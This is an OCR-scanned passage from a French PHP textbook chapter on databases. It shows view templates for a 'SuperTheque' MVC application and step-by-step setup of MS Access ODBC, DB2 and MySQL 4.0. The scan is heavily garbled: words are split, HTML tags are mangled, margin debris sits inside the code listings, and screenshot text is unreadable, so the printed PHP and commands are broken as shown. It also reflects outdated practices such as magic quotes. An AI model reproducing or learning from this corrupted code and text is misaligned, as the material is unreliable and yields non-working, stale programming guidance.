incl ude_once("vues/SuperTheque_VueVi sual i sation_i nc.php") ; 
} else { 

i ncl ude_once("vues/SuperTheque_VueDetai l_i nc.php") ; 

} 

} else if ($mode == "ajout") 
{ 

i ncl ude_once ( " vues /SuperTheque_VueAjout_i nc . php" ) ; 

} 

i ncl ude_once(" pi eddepage_i nc.php") ; 

?> 

Vous y retrouvez l'ensemble des lignes de code precedent. Les seules lignes passees sous silence 
jusque la, sont celles permettant de recuperer dans un tableau associatif $types les noms des 
differents types (d'article) disponibles. 

Listing 10.22 : index.php (extrait) 

// Pour l'affichage, nous aurons besoin de connaitre les noms 
// des differents types existants 
$types = $supertheque->getTypes () ; 

Et celles relatives a la mise en page 
i ncl ude_once("entete_i nc.php") ; 
et 

i ncl ude_once(" pi eddepage_i nc.php") ; 
que nous aborderons des le chapitre suivant. 
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Les vues 

Une fois le traitement opere (c'est a dire, une fois les donnees mises a jour ou recuperees) il est 
possible de passer a l'affichage de la vue. 

Comme nous l'avons vu, cette application dispose de trois ecrans differents : 

L'affichage de la liste des articles (mode visualisation d'un album) 
L'affichage des details d'un article (mode visualisation d'un article) 
■ La page d'ajout d'un nouvel article. 

Toutefois, toutes trois auront globalement la meme mise en page. Nous voulons dire par-la, 
quelles auront toutes le meme bandeau superieur, le meme menu gauche et ou droit, et 
eventuellement un bandeau inferieur. Afin d'eviter de dupliquer du code, il suffit de creer un 
fichier que nous appellerons entete_inc .php decrivant le bandeau superieur et 
eventuellement le menu gauche et un autre decrivant le menu droit et eventuellement le 
bandeau inferieur appele pieddepage„inc .php 

Le squelette du fichier d'en-tete est le suivant : 
Listing 10.23 : entetejnc.php (squelette) 

<html> 
<body> 
<tabl e> 

<trxtd col span="3"><! -- Entete proprement dit --></tdx/tr> 
<trxtd><!-- Menu Gauche--x/tdxtd> 

alors que le pied de page a Failure suivante : 

Listing 10.24 : pieddepagejnc.php (squelette) 

</tdxtdx!-- Menu droit --></tdx/tr> 

<trxtd col span="3"x! -- Pied de page proprement dit --x/tdx/tr> 

</body> 

</html> 

II n'y a plus qu'a mettre la page principale entre ces deux fichiers. C'est ce que le controleur 
realise en effectuant les differents include relatifs a la vue. 

Vue liste des articles 

Pour rappel, a Tissue du traitement du controleur nous disposons des variables suivantes: 
$article, qui contient les informations relatives a l'article selectionne. 
$articles, qui contient la liste des articles (filtres, tries et extraits) de l'album selectionne 
$nbTotalArticles, qui contient le nombre total d'articles repondant aux criteres de filtrage. 
$types, qui contient la liste des types disponibles. 
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mais aussi a tout moment de $plage, $f iltre et $tri. 

A la base, ce qu'il nous faut c'est afficher le contenu du tableau $articles ce qui se fait 
aisement via une boucle f oreach ( $articles as $articleListe) . Mais il faut egalement: 

proposer les liens permettant de modifier l'ordre de tri 

integrer un formulaire pour la saisie des criteres de filtrage. Ce dernier necessite 1'affiche 
dans une liste de selection des differents types disponibles d'ou la boucle f oreach ( $ types 
as $cle=>$type) . 

proposer des liens permettant d'acceder au detail d'un article (ou au contenu d'un album) 

proposer si necessaire des liens pour afficher la page precedente et/ou la page suivante. La 
decision se fera en fonction des valeurs de $tri->premierArticle ( ) et 

$nbTotalArticles 

proposer si necessaire un lien pour revenir a l'album pere (si nous ne sommes pas a l'album 
racine) 

■ proposer un lien pour aj outer un article 

Listing 10.25 : SuperTheque_VueVisualisation_inc.php 

<form action="" method="post"> 
<table width="100%"> 
<tr> 
<th> 

<a href="?mode=tri&tri_champ=ti tre&tri_sens=-l">-</a> 
Titre 

<a href="?mode=tri&tri_champ=ti tre&tri_sens=l">+</a> 
</th> 
<th> 

<a href="?mode=tri&tri_champ=typeId&tri_sens=-l">-</a> 
Type 

<a href="?mode=tri&tri_champ=typeId&tri_sens=i">+</a> 

</th> 
</tr> 
<tr> 

<td> 

<input type="hidden" name="mode" val ue="f i 1 tre" /> 
<input type="text" name="fi 1 tre_titre" /> 

</td> 
<td> 

<select name="f i 1 tre_typeld"> 
<opti on val ue="-l">Tous</option> 
<?php 

foreach ($types as $typeld=>$type) 

{ 

?> 

<option val ue="<?php echo $typeld;?>"x?php echo $type;?x/option> 
<?php 

} 

?> 

</select> 
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</td> 
<td> 

<input type="submi t" value="Filtrer" /> 

</td> 
</tr> 
<tr> 

<td col span="3"xhr /></td> 
</tr> S o 

<?php CO ,_ 

if (count ($arti cl es)>0) foreach($articles as $articleListe) <» = 

?> g- £i 

<tr> i § 

<td> ™ =■ 

<?php echo html Entities($articleListe->getTitre()) ; ?> OT 

</td> 
<td> 

<?php echo $types[$articleListe->getTypeId()] ; ?> 
</td> 
<td> 

<?php 

echo "<a 

x href =\"?mode=arti cl e&arti cl eld=" . $arti cl eLi ste->get Id () . "\">" ; 

?> 

[Détails] 
</a> 
</td> 
</tr> 
<?php 

} // Fin du foreach 

?> 

</tabl e> 
</form> 
<hr /> 

<table width="100%"> 
<tr> 

<td width="33%" align="left"> 
<?php 

if ($plage->getPremierArticle() > 0) { 

?> 

<a href="?mode=precedents"><<< Articles 

s-= précédents</a> 

<?php 

} 

?> 

</td> 

<td width="34%" align="center"> 
<?php 

if ($filtre->getAlbumId() != 0) 

{ 

// Inserer un lien pour remonter a 1 'album "pere" 

?> 
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<a href="?mode=article&articleId=<?php echo $article->getAlbumId() ; 

s< ?>">[. .]</a> 

<?php 

} 

?> 

</td> 

<td al n gn= "right "> 
g w <?php 

'tD if ($nbTotalArticles > $plage->getPremierArticle() + 

o | x $plage->getNbArticleMax()) { 

co -a ?> 

i= -o <a href="?mode=suivants">Articles suivants >>></a> 



■Z £ <?php 



?> 

</td> 
</tr> 
</tabl e> 
<br /> 
<center> 

<a href="?mode=ajout"> 

[Ajouter un article à cet album] 
</a> 
</center> 

Comme vous pouvez le constater, il y a tres peu de code PHP. Comme quoi, nous avons bien 
reussi a distinguer la partie traitement de la partie affichage. 



Vue ajout d'un nouvel article 

II s'agit du fichier de vue le plus complexe. En effet, cette vue ne doit pas seulement proposer 
un formulaire de saisie puisqu'elle doit egalement permettre d'afficher d'eventuels messages 
d'erreurs detectees lorsque ce formulaire est soumis et dans ce cas les valeurs precedemment 
saisies doivent etre affichees de nouveau. 

Listing 10.26 : SuperTheque VueAjout inc.php 

<?php 

if (count($erreurs)>0) { 
echo "<ul>"; 

foreach($erreurs as $erreur) 
{ 

echo "<1 i>$erreur</l i>" ; 

} 

echo "</ul>"; 

} 

?> 

<form action="index.php" method="post"> 
<input type="hidden" name="mode" val ue="sauver" /> 

<input type="hidden" name="al bumld" value="<?php echo $filtre->getAlbumId() ; 

s< ?>" /> 
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<tabl e> 
<tr> 
<td>Titre:</td> 

<tdxinput type="text" name="titre" value="<?php 
echo html Enti ties (stri pSl ashes ($_POST["titre"] )) ; ?>"/x/td> 
</tr> 
<tr> 

<td>Type:</td> a- 

<td> S> 

CD 

<select name="typeld"> «" 
<?php ro 
foreach ($types as $typeld=>$type) 



?> 



a. as 
o S: 
3 o 

3 3 

CD* _ 
CD g- 

<option value="<?php echo $typeld;?>" <?php if «" 
x ($_POST["typeId"]==$typeId) echo "selected=\"selected\"";?»<?php 
x echo $type;?x/option> 
<?php 
} 

?> 

</select> 
</td> 
</tr> 
<tr> 

<td>Commentai re:</td> 
<td> 

<textarea name="commentai re" cols="40" rows="5"x?php 
echo html Entities (stripSl ashes ($_P0ST[" comment ai re"] ) ) ; ?x/textarea> 
</td> 
</tr> 
<tr> 
<td colspan="2"> 

<i>Vous pouvez à votre guise ajouter d'autres informations</i> 
</td> 
</tr> 
<tr> 
<td colspan="2"> 

<input type="submit" val ue="Sauver" /> 
</td> 
</tr> 
</tabl e> 
</form> 



Dans le cas d'une saisie invalide, il est important de restituer le formulaire a 1'utilisateur dans 
1'etat ou il l'a laisse avant de valider sa saisie. Pour cela, nous devons preciser les valeurs par 
defaut (valeurs precedemment saisies) de chaque champ. Dans le cas d'un champ texte, il suffit 
de preciser l'attribut value. Ainsi nous ne nous contentons pas d'un simple <input 

type="text" name= " titre " /> mais nous preciserons <input type="text" 
name= " titre " value="<?php echo htmlEntities ( stripSlashes ( $_POST [" titre " 

] ) ) ; ?>" /> (la valeur ayant ete soumise via la methode post) 
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Ceci amene d'ailleurs plusieurs remarques. 

Nous retrouvons la problematique du "magic quotes" qui implique l'utilisation de 

stripSlashes ( ) . 

htmlEntities 

Attention ! Lorsque vous specifiez un attribut value, n'oubliez pas, d'une part, de mettre la 
valeur entre guillemets (mais 5a, vous devriez deja en avoir l'habitude, sans quoi il est grand 
temps de s'y mettre !) et, d'autre part, de faire appel a htmlEntities ( ) afin, en particulier, de 
remplacer les guillemets par leurs equivalents HTML pour eviter tout conflit avec les 
guillemets delimiteurs de la chaine. 

Rappel des precedentes valeurs 

Dans le cas d'une liste de selection, il faut preciser selected pour les champs selectionnes (ce 
qui en XHTML se declare par seiected=" selected") ; dans le cas des boutons radio, il faut 
preciser checked (ce qui en XHTML se declare par checked= " checked" ) ; et, enfin, pour les 
zones de texte, il faut preciser leur contenu entre les balises <textearea> et </textarea>. 

Vue detail d'un article 

Listing 10.27 : SuperThequeVueDetailincphp 

<tabl e> 
<tr> 

<td width="10%" >Titre:</td> 

<tdxbx?php echo html Enti ti es ($arti cl e->getTi tre () ) ; ?></bx/td> 
</tr> 
<tr> 

<td>Type:</td> 

<tdx?php echo $types [$arti cl e->getTypeId ()] ;?x/td> 
</tr> 
<tr> 

<td>Commentai re:</td> 

<tdx?php echo nl2br(html Entities($article->getCommentai re())) ;?x/td> 
</tr> 
<tr> 

<td colspan="2"> 

<i>Vous pouvez à votre guise compl éter cette page pour 
x afficher d'autres informations (que vous aurez pris soin d'ajouter 
s-= après avoir compl èté la page de saisie).</i> 
</td> 
</tr> 
</tabl e> 
<br /> 
<center> 

<a href="?mode=article&articleId=<?php echo $arti cl e->getAl bumld () ; ?>">Retour 

x à la liste. </a> 

</center> 
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II n'y a pas de reelles nouveautes dans ce script, seule la ligne permettant l'affichage du 
commentaire peut necessiter quelques explications. 

Retours a la ligne 

La zone de texte, definie dans le formulaire pour saisir un commentaire, nous permet de saisir 
un texte formate avec des retours a la ligne. Mais il faut garder a l'esprit que ceux-ci sont 
materialises par des '\n'. Ainsi, si une description contenant des retours a la ligne est stockee en 
base de donnees puis restituee telle quelle (echo $commentaire) dans un document HTML, 
elle perdra sa mise en page. En effet, le caractere '\n' n'est pas considere en HTML comme un 
re tour a la ligne, la balise HTML correspondante etant <br> (ou <br/> en XHTML). II faut 
done utiliser, avant affichage, la fonction nl2br ( ) . C'est done ce que nous utilisons ici. 



10.7. Access (MS) 

Bien que Ton ne puisse pas considerer MS Access comme un veritable serveur de bases de 
donnees, c'est certainement la base de donnees la plus connue du grand public. 



Installation 

Afin de pouvoir acceder a une base de donnees Access depuis PHP, vous devez imperativement 
etablir une liaison ODBC. 

L'operation s'avere extremement simple : 
1 . Ouvrez le Panneau de configuration. 



* Panneau de configuration 




j Fichier Edition Affichage Favoris Outils ? 


Precedente T 


^) Rechercher Dossiers [T^ 1 * 




Figure 10.4 : Panneau de configuration 
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2. Selectionnez Performances et maintenance. 



Performances et maintenance 



Fichier Edition Affichage Favoris Outils 



0} CO 

■5 03 
'03 

= £= 

o c 

IS o 

ca -a 



= CO 
— ' CO 



□0® 



Qprecedente - Q • \ JD Rechercher ^Dossiers fTiTI -- 



Performance* et maintenance 



I'r^H Types de fichiers 
.ji Restaurer le systeme 



Resolution de* problemes 

^ Demarrage et arret 




Choisissez une tache... 

Afficher des informations de base concernant votre 
' — ' ordinateur 

| -^| Ajuster les effets visuels 

| -^| Liberer de I'espace sur votre disque dur 

ijj^i Reorganiser les elements sur votre disque dur afin que l> 
' — ' programmes s'executent plus rapidement 

ou une icone du Panneau 
de configuration 



Option* d' alimentation 



Outils d'admi 



Taches planifiees 



Figure 10.5 : Performances et maintenance 



3. Selectionnez Outils a" administration. 



^ Outils dadminist ration 



□0® 



Fichier Edition Affichage Favoris Outils ? 

Q Precedence - Q ^ I JD Rechercher ^Dossiers [ fTTT]- 



Gestion des fichiers 

^ Partager ce dossier 



* 



Autres emplacements 

Q" Panneau de configuration 
Q Mes documents 
(r^i Documents partages 
*J] Poste de travail 
Favoris reseau 




Gestion de I'ordinateur 
Raccourci 
| 2 Ko 

Obser vat sur d'e venemsr it 

Raccourci 

2 Ko 

[ Performances 
' Raccourci 

2 Ko 

Services 
Raccourci 
* 2 Ko 

Services de composants 
y Raccourci 

2 Ko 

J Sources de donnees (ODBC) 

P^aaiourci 



Figure 10.6 : 

Outils d' administration 
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Voila, vous etes en passe de decouvrir le panneau d'administration de "sources de donnees 
(ODBC)". Cliquez... 

Figure 10.7 : 

Administrates de 



t ' 1 Administrates de sources de donnees ODBC 



PilolesODBC | Tracage | Srauperrrerit de connexions | Apropos 
Sources de donnees utilisateur Sources de donnees systeme Sources de donnees fichier 

Sources de donnees systeme : 
Norn Fi lote | Auufci... j 



Suppiimer 
Configurer,,. 



U rie source donnees systems ODBC stocks des informations sur la 
connexion du lournrsseur de donnees speciiie E lie est visible a tous !es 
utilisateurs de cei ordinateur, y cornpris les services NT. 



Annuler 



sources de donnees 
ODBC 



Selectionnez Ponglet Sources de donnees systeme puis, sans faiblir, cliquez sur Ajouter. 



Creer une nouveLle source de donnees 




ielectionnei un pilots pour ii-cue: vous scuhaitez definir une source 
le donnees. 



Norn 


| Version a 


Drivei da Microsoft para arquivos tento 


.tut; ".csv) 4.00.601S 


Driver do Microsoft Access |"rndb] 


4 00.60:1 SH 


Drivei do Microsoft dBase f.dbf] 


4.00.601 S 


Drivei do Microsofi Excel[*.xls] 


4.00.601 S 


Drivei do Microsoft Paradox [*.db J 


4.00.601 S 


Diivei para o Microsoft Visual FoxPro 


1 00.02.0l 




4.00.601 S 




4 00.601 £ 



Figure 10.8 : 

Creer une nouvelle 
source de donnees 



Nous voila au cceur du sujet. Selectionnez le pilote correspondant a votre type de base de 
donnees, en l'occurrence Microsoft Access Driver, puis cliquez sur Terminer. 

Figure 10.9 : 

Installation ODBC 
pour Microsoft Access 



Installation ODBC pour Microsoft Access 



Nom de la source de donnees : Jmabase 
Description : |Lien ODBC] 



Base de donnees 
8aie de donnees : 
Selectipnner ... 



Base de donnees systeme 
(* Aucun 

C Base de donnees : 



Base de donnees systeme... 



Chapitre 10 L'utilisation des bases de donnees 



03 »> 
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'03 
= £= 

o c 
o 

ca -a 



= CO 
— ' CO 



Vous pouvez maintenant saisir un nom pour ce lien ODBC (qui peut etre different du nom 
du fichier Access) qui servira de reference pour les futures connexions via PHP ainsi qu'un 
commentaire. Cliquez ensuite sur le bouton Selectionner.... 

Figure 10.10 : 



Installation ODBC pour Microsoft Access 



Norn de la source de donnees : |mabase 
Description : |l_ien ODBC 



-Base de donnees 
Base de donnees : CAmabase.mdb 
fffileendnmr' . . | Cre e r . . . 



Base de donnees sysis 
P Aucun 

C Base de donnees : 



i de donnees systeme... 



Options» 



Installation ODBC 
pour Microsoft Access 
(suite) 



8. Vous etes alors invite a reperer le fichier de votre base de donnees dans l'arborescence de 
votre disque dur. Une fois que cela est fait, c'est bon, vous n'avez plus qu'a cliquer sur OK. 



' Administrates de sources de donnees ODBC 



Pilotes ODBC Tracage | Sroupsutlgnt de conneKloris | A propos 

Sources de donnees utifisateur Sources de donnees systerne Sources de donnees fichier 



bources de donnees systerne : 



Microsoft Access Driver ["rndbl 



Ajouter... 



Configurer. . 



Une source de donnees si'steme ODBC stocke des informations suf la 
connexion du fournisseLii de donnees specifie. E lie est visible a tons les 
utilisateuts de cei ordinsteuf y cornpris les services NT 



Annuler Aide 



Figure 10.11 : 

Voild, c'est fait 



9. Et voila, l'onglet Sources de donnees systeme s'est enrichi d'une nouvelle ligne. 



Utilisation 

Evidemment, les fonctions permettant d'acceder a MS Access sont celles proposees pour les 
liaisons ODBC. 



Vous etes done invite a vous reporter a la section ODBC. 



RENVOI 
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10.8. DB2 (IBM) 

DB2 est la base de donnees professionnelle du geant de l'informatique, IBM. 

Installation 

Le but de ce chapitre n'est pas de faire de vous un administrateur de base de donnees DB2. 
Non. Nous nous contenterons de decrire une installation standard, sans tenir compte des 
problemes d'optimisation et de securite. Le but etant que vous puissiez installer PHP et DB2 
sur des machines de test pour vous familiariser avec cet environnement avant de passer a un 
serveur de bases de donnees destine a la production. 

Pre-requis 

Pour commencer, vous devez vous procurer le script d'installation. Celui-ci est disponible sur le 
site d'IBM (http://www.ibm.fr) a l'adresse http://www-5.ibm.com/fr/software/data/db2/index.html. 

Pour la version Linux, il s'agit d'un fichier db2pelnx.tar. 

Installation du serveur de bases de donnees 

Nous supposerons ici que le serveur de bases de donnees et le serveur web tournent sur la 
meme machine. 

Sous Linux 

La premiere chose a faire consiste a decompresser l'archive dans un repertoire quelconque 
(ex. : Itmp/dbl), 

# tar xvf db2pelnx.tar 

puis a lancer le script d'installation : 

# ./db2setup 

Apparait alors le premier ecran, proposant une liste d'elements a installer : 

+ Install DB2 V7 + 

Select the products you are licensed to install. Your Proof of 
Entitlement and License Information booklet identify the products for 
which you are licensed. 

To see the preselected components or customize the selection, select 

Customize for the product. 

[*] DB2 Administration Client : Customize... : 

[*] DB2 UDB Personal Edition : Customize... : 

[*] DB2 Application Development Client : Customize... : 

To choose a language for the following components, select Customize for 
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the product. 

DB2 Product Messages 
DB2 Product Library 



[ Customize. . . ] 
[ Customize. . . ] 



o c 
s o 




[ OK ] 



[ Cancel ] 



[ Help ] 



+ 



+ 



1. Selectionnez les trois modules, puis selectionner 1'option "customize" de "db2 
Application Development client" et assurez vous de bien cocher 1'option "Create links 
for DB2 libraries". 

2. Lancez l'installation en selectionnant le bouton OK. 

3. Deux ecrans successifs apparaissent alors, vous invitant a preciser les noms et parametres 
des differents comptes DB2. Conservez les parametres par defaut et validez. 

Vous aurez alors, trois nouveaux comptes : 

db2instl associe au groupe db2iadml, avec pour repertoire /home/db2instl et mot de 
passe ibmdb2 ; 

db2fencl associe au groupe db2fadml, avec pour repertoire /home/db2fencl et mot 
de passe ibmdb2 ; 

db2as associe au groupe db2asgrp, avec pour repertoire /hotne/db2as et mot de passe 

ibmdb2. 

Et voila, votre base de donnees a ete installee sous /usr/IBMdb2/V7.1. 

Demarrage du serveur de bases de donnees 

A Tissue de l'installation, le serveur de bases de donnees tourne. Sachez toutefois que, si vous 
avez a lancer le serveur, cela se fait simplement a partir du compte db2 ins 1 1 avec la commande 



$ db2start 
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Test du serveur de bases de donnees 

A partir du compte db2instl, vous pouvez aisement tester le bon fonctionnement du serveur 
de bases de donnees. 

En creant la base de donnees d'exemple : 
$ db2sampl 

En vous y connectant et en testant une requete : 

$ db2 connect to sample 

$ db2 "select * from staff where dept=20" 

Vous devez alors avoir quatre lignes de resultat. Vous pouvez alors vous deconnecter. 
$ db2 connect reset 

Creation d'une base 

Vous pouvez creer une base de donnees depuis le client db2. 
$db2 create database <nom de la base> 

Arret du serveur de bases de donnees 

Vous pouvez arreter le serveur de bases de donnees avec l'instruction 
$ db2stop 

Installation du client de base de donnees sur le serveur web 

Nous avons, ici, suppose que le serveur de bases de donnees tournait sur la meme machine que 
le serveur web. Nous pourrions done nous attendre a ce qu'il n'y ait rien d'autre de particulier 
a faire. 

Malheureusement, nous avons pu constater (du moins dans le cas de figure qui nous interessait) 
un leger dysfonctionnement dans la procedure d'installation. En effet, nous nous sommes 
retrouves avec un lien symbolique /usr/local/lib/libbd2.so.3 pointant sur un fichier lusrllocalllibl 
libbdl.so inexistant. Ce qui nous posait probleme lors de la compilation d'Apache. Probleme 
que nous avons simplement resolu en creant un lien symbolique du fichier lusrldbUnstlllibl 
libdbl.so vers /usr/lib, comme suit : 

# In -s /usr/db2instl/lib/libdb2.so /usr/lib 

Configuration de PHP avec support DB2 
Sous Linux 

Pour acceder a une base de donnees DB2 depuis PHP, vous n'avez qu'a recompiler PHP avec 

l'option — with-ibm-db2 = /usr/db2instl/sqllib. 



Chapitre 10 L'utilisation des bases de donnees 



Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la fagon 

de compiler PHP. 
RENVOI 

Verification de l'installation 

Vous pouvez maintenant tester un script ne contenant que le code <?php phpinf o ( ) ; ?> et 
vous devez apercevoir les lignes suivantes : 



odbc 



ODBC Support 


enabled 


Active Persistent Links 





Active Links 





ODBC library 


db2 


ODBGJNCLUDE 


- I,'u:r/db2imt 1 /sqlliii'incljclc- 


ODBCJ.FLAGS 


-LA]sr/db2inst1/sqlliMib 


ODBCJJBS 


-ldt.2 



Directive 


Local Value 


Master Value 


odbc , alio wjpersi stent 


On 


On 


odbc ,check_per3i3tent 


On 


On 


odbc default_db 


no vdiue 


no value 


odbc default pw 


no i/dJue 


no v< tffes 


o d be, def au 1 1 _u ser 


no value 


no value 


odbc defaultbinmode 


return as is 


return as is 


odbc defaulting 


return up to 4096 to/ies 


return up to 4096 bytes 


odbc max J inks 


Unlimited 


Unlimited 


odbc max jpersistent 


Unlimited 


Unlimited 



Figure 10.12 : phpinf o() pourDBl 

Utilisation 

Bien que n'utilisant pas une liaison ODBC, les fonctions permettant d'acceder aux bases DB2 
sont les memes que celles proposees pour les liaisons ODBC. 

Vous etes done invite d vous reporter a la section ODBC. 
RENVOI 

10.9. MySQL 

MySQL est probablement la base de donnees la plus connue des adeptes de PHP. Le fait qu'elle 
soit sous licence GPL, disponible sous differentes plateformes et, somme toute, assez complete 
et performante n'y est certainement pas pour rien. C'est tres probablement d'ailleurs la base de 
donnees que votre hebergeur vous propose (sous un environnement Linux, afin d'allier la 
performance a la limitation des frais de licence et de maintenance). 





MySQL 3X 

La derniere version de production de MySQL est la version 4.0. C'est done 
l'installation de cette derniere qui est decrite ici. Toutefois, il est possible que votre 



hebergeur propose toujours la version 3 et done que vous souhaitiez installer la meme 
version. Rassurez-vous, la procedure d 'installation est totalement identique. 



Installation 

Nous nous contenterons ici de decrire une installation standard, sans prendre en compte les 
problemes d'optimisation et de securite. Le but etant que vous puissiez installer PHP et 
MySQL sur des machines de test pour vous familiariser avec cet environnement avant de passer 
a un serveur de bases de donnees destine a la production. 

Pre-requis 

Si vous etes sous Windows et avez installe EasyPHP, vous n'aurez rien a installer ou configurer, 
puisque tout est fait automatiquement (aussi bien pour ce qui concerne MySQL que pour ce qui 
concerne PHP). Avec EasyPHP 1.7, e'est MySQL 4.0.15 qui est fourni. 

Dans les autres cas, pour commencer, vous devrez vous procurer l'archive de MySQL, 
disponible sur le site officiel a l'adresse http://www.mysql.com/downloads/ (vous la trouverez egale- 
ment sur le CD-ROM fourni). 

Installation du serveur de bases de donnees 
Sous Windows 

Vous devriez maintenant avoir un paquetage avec un nom du genre : 

mysql-4 . . 14b-win . zip. 




Winzip 

Si vous n'avez pas Windows XP ou un utilitaire pour extraire les fichiers du 



INTERNET paquetage, vous pouvez telecharger la version de demonstration de Winzip sur 
http://www.winzip.com. 

II faut ensuite extraire les fichiers du paquetage dans un repertoire quelconque et executer le 
fichier Setup.exe. 

L'installation est tres simple et rapide : 
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Choose Destination Location 




Setup will install M^SGL Servers and Clients 12:3.51 in the 
fallowing, folder. 



To install to this folder dick Next. 



To install to a different folder, click Browse and select .another 
folder. 



You csn choose not to install MySQL Servers and Clients 3.23.51 
t'j,« clicking Cancel to exii Setup 



i- Destination Folder 

C:\rrwsql 



J 



j Next > | Cancel 



Figure 10.13 : 

Repertoire 
d "installation 



Setup Type 




Installation typique 



Nous choisirons une installation typique, qui nous conviendra pour ce que Ton souhaite faire. 

■^1 Figure 10.14: 

\ r..|;~ .;t |. r . if . f.i^t^l H ,~ . ■: ,■: Mr-' 

• [ ..f j| T . if,, ■ ill tr ii, 1 ilk'J ■ 'i'I. M r f,„> 1 : ■: f ,',„>i, 
. .f .I,.;. , : ~ .f,,|, ~i,.j~ j Ivl (• ■> : 1 1 r 

i;.. M[ . i: i F voibl,,, illtrii, i ;lk,j ■ l,,ii,if,„r, ~] m-d 

□plions 

f~° Custom '"'ou may choose She options you went to install. 
Recommended for advanced users. 



L'installation cree automatiquement un fichier my.ini dans le repertoire de Windows, qui 
servira pour utiliser MySQL en tant que service. 



REMARQUE 



Installation 

Si vous installez MySQL dans un repertoire autre que C:\MYSQL, ou si vous voulez 
installer MySQL en tant que service sur Windows 2000/NT/XP, il faudra creer un 
fichier appele C: \MY. CNF ou placer un fichier my. ini dans votre repertoire Windows 
avec les lignes suivantes (a modifier selon votre configuration) : 

[mysqld] 

basedi r=C : /repertoi rei nstal 1 ati on/ 
datadi r=C: /repertoi redonnees/ 

Quoi qu'il en soit, une fois l'installation de MySQL terminee, le repertoire 
d 'installation contiendra desfichiers appeles my-xxxxx.cnf qu'il est possible d'utiliser 
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pour refaire votre propre fichier C:\MY. CNF, les differents fichiers dependent de la 
REHARQJE faille de votre base de donnees : de small pour les petites bases de donnees a huge 
pour les tres grosses en passant par medium et large. 



Sous Linux 

II existe plusieurs fagons de faire. Mais les deux principales consistent soit a utiliser les versions 
precompilers de MySQL soit a les compiler soit meme. Mais curieusement l'arborescence des 
fichiers obtenus different legerement entre les deux solutions. 

Version precompilee 

Une fois l'archive correspondant a votre environnement (ici, une architecture intel) installee 
sur votre disque dur (par exemple sous /usr/local), il vous faudra la decompresser par la 
commande : 

# tar zxvf mysql-standard-4.0.20-pc-linux-i686.tar.gz 

Vous disposez alors de tous les fichiers MySQL sous lusrllocallmysql-standard-4.0 
.20-pc-limvc-i686.r6pertoire que nous renommerons en /usr/local/mysql. 

§ cd /usr/local 

# mv mysql -standard-4.0.20-pc-l inux-1686 mysql 

# cd mysql 

II vous faut, desormais, initialiser l'espace destine a accueillir les bases de donnees. 

# ./scripts/mysql_install_db 

Assurez-vous de bien executer le script depuis le repertoire mysql. Cela se traduit par la 
creation de fichiers et de repertoires sous /usr/local/mysql/data. 

Puisqu'il est preferable de ne pas faire tourner le serveur MySQL sous le compte root, nous 
vous invitons maintenant a creer un compte mysql. 

# groupadd mysql 

# useradd -g mysql -s /bin/bash mysql 

Vous pouvez maintenant modifier le proprietaire des fichiers de base de donnees : 

# chown -R mysql /usr/local/mysql/data 

ainsi que le groupe auquel appartiennent les fichiers du serveur. 

# chgrp -R mysql /usr/local/mysql 

Copiez ensuite le fichier de configuration dans le repertoire /etc/. 

# cp support-files/my-medium.cnf /etc/my. cnf 
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r ^^g) Compte sans mot de passe 

^ Dans I'etat actuel, ce compte mysql ne possede pas de mot de passe ; vous ne pourrez 
REMARQJE y acc ^er q ue depuis le compte root en tapant su - mysql. 

Version a compiler 

Pour cela vous devez recuperer les sources du serveur MySQL (disponibles sur le CD-ROM) 
puis, une fois l'archive installee sur votre disque dur, il vous faudra la decompresser par la 
commande : 

# tar zxvf mysql -4. 0.20. tar. gz 

Une fois les sources decompressees, il est possible de les compiler par les commandes : 

# cd mysql-4.0.20 

# ./configure --prefix=/usr/local /mysql 

# make 

# make install 

MySQL est a present installe sous /usr/local/mysql. 

# cd /usr/local/mysql 

II vous faut, desormais, initialiser l'espace destine a accueillir les bases de donnees. 

# ./bin/mysql_instal l_db 

Cela se traduit par la creation de fichiers et de repertoires sous /usr/local/mysql/var. 

Puisqu'il est preferable de ne pas faire tourner le serveur MySQL sous le compte root, nous 
vous invitons done a creer un compte mysql. 

# groupadd mysql 

# useradd -g mysql -s /bin/bash mysql 

Vous pouvez maintenant modifier le proprietaire des fichiers de base de donnees : 

# chown -R mysql /usr/local/mysql/var 

ainsi que le groupe auquel appartiennent les fichiers du serveur. 

# chgrp -R mysql /usr/local/mysql 

Copiez ensuite le fichier de configuration dans le repertoire /etc/. 

# cp share/mysql/my-medium.cnf /etc/my. enf 



Compte sans mot de passe 

Dans I'etat actuel, ce compte mysql ne possede pas de mot de passe ; vous ne pourrez 
REMARQJE y flCC ^ er q Ue d e p U i s [ e compte root en tapant su - mysql. 



MySQL 



Demarrage du serveur de bases de donnees 
Sous Windows 

Pour lancer le service, il faut executer le fichier winmysqladmin.exe du repertoire bin de 
MySQL. A la premiere execution, le programme vous demandera un nom d'utilisateur et un 
mot de passe a creer. Un feu vert devrait alors apparaitre dans votre barre des taches, indiquant 
que le serveur MySQL est pret. 

Sous Linux 

Le demon mysqld doit etre actif pour pouvoir utiliser la base de donnees MySQL. 

# /usr/1 ocal /mysql /bi n/mysql d_safe --user=mysql & 
Avec MySQL 3.X vous devrez lancer la commande 

# /usr/1 ocal /mysql /bi n/safe_mysql d --user=mysql & 



Creation d'une base 
Sous Windows 

En utilisant le logiciel WinMYSQLAdmin et l'onglet Databases, il est possible de voir les bases 
de donnees existantes. Pour en creer une, il suffit de cliquer avec le bouton droit sur le nom de 
la machine, puis de selectionner Create Database. Une fenetre s'ouvre, demandant le nom de la 
nouvelle base de donnees. 



5jJ WinMySQLadmin 1.4 



All rights i 



WinMySQLadmin Vei 1.4 lor Win95/Win98/NT/Win2000 

(CJ 1979-2001 MySQL AD Monty Program KB _Detron HB. 
rights reserved. See the file PUBLIC For licence information. 
This software comes with ABSOLUTELY NO WARRANTY: see the file PUBLIC for details 



Right Click for Menu options 



Environment | @ Start Check] Server £ 
Databases 



: my. 



.ini Setup © Err File Variables P'ocess Databases 7f Report 
Database Tables 



- -Sj EMMA [ 169 254.14- 
mysql 



Table Columns 




?S| Adding Database 


.□X 


Note: The name of the database must be unique and without blank spaces 

Database Name: 


^SQL 


rnaElase 


Create the Database Cancel 





Figure 10.15 : Ajouter une base de donnees 
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Une autre facon de faire consiste a executer la commande en ligne mysql puis de taper : 
CREATE DATABASE maBase; 



Invite de commandes - mysql 



C:\mysqlSliin >nysql 

Uelcone to the MySQL monitor. Commands 
Vour MySQL connection id is 4 to server 

ype 'help;' or J Sh J for help. Type '\c' 

ysql> CREATE DATABASE maBase; 
uery OK, 1 row affected C0.0B sec) 



end uith ; or Scf. 
version: 3. 23. 51— nt 



Figure 1 0.1 6 : Ajouter une base de donnees par la commande en ligne 

